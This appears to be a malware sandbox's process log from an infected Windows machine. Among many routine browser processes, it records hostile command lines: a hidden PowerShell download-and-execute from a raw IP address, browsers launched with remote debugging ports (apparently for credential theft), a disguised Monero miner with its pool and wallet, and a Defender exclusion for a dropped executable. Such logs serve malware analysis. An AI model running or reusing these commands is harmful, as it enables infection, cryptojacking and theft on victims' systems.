"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4472,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4428 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe

"C:\Users\Admin\AppData\Local\Temp\10109490101\rXOl0pp.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4428,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4448 /prefetch:8

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4980,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4988 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5004,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4992 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5152,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5156 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5084,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5020 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5008,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5260 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4992,i,15035772134269396548,8593764247279115740,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5188 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe

"C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcd13046f8,0x7ffcd1304708,0x7ffcd1304718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,10443888401807672682,16515153412976195650,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,10443888401807672682,16515153412976195650,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,10443888401807672682,16515153412976195650,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2896 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,10443888401807672682,16515153412976195650,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,10443888401807672682,16515153412976195650,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3452 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,10443888401807672682,16515153412976195650,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4884 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2140,10443888401807672682,16515153412976195650,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4120 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe

"C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\33AD.tmp\33AE.tmp\33AF.bat C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"

C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe

"C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe"

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

"C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5920 -ip 5920

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 800

C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe

"C:\Users\Admin\AppData\Local\Temp\10110230101\ce4pMzk.exe"

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"

C:\ProgramData\reswb\jwmeimu.exe

C:\ProgramData\reswb\jwmeimu.exe

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\spfwia3k\spfwia3k.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES729B.tmp" "c:\Users\Admin\AppData\Local\Temp\spfwia3k\CSC16FAC266BB6C4C98809577CC448FE39D.TMP"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffccfadcc40,0x7ffccfadcc4c,0x7ffccfadcc58

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1944,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1940 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2188,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2192 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2260,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2300 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3192,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3228 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3200,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3400 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4580,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4600 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4708,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4676 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4704,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3196 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

"C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2968 -ip 2968

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2968 -s 796

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4724,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4880 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4192,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4868 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4948,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5088 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5136,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3636 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4880,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5092 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5144,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5160 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5156,i,7144072355654185731,10699023148760014984,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5236 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe

"C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffccfae46f8,0x7ffccfae4708,0x7ffccfae4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2028 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2916 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2052 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2000 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2876 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2316 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2436 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2400 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2392 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2332 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=4832 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,2662800545307893389,9300712833625842841,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=4896 /prefetch:2

C:\Windows\System32\notepad.exe

--donate-level 2 -o pool.hashvault.pro:443 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=40

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\0fFPRrZZ\Anubis.exe""

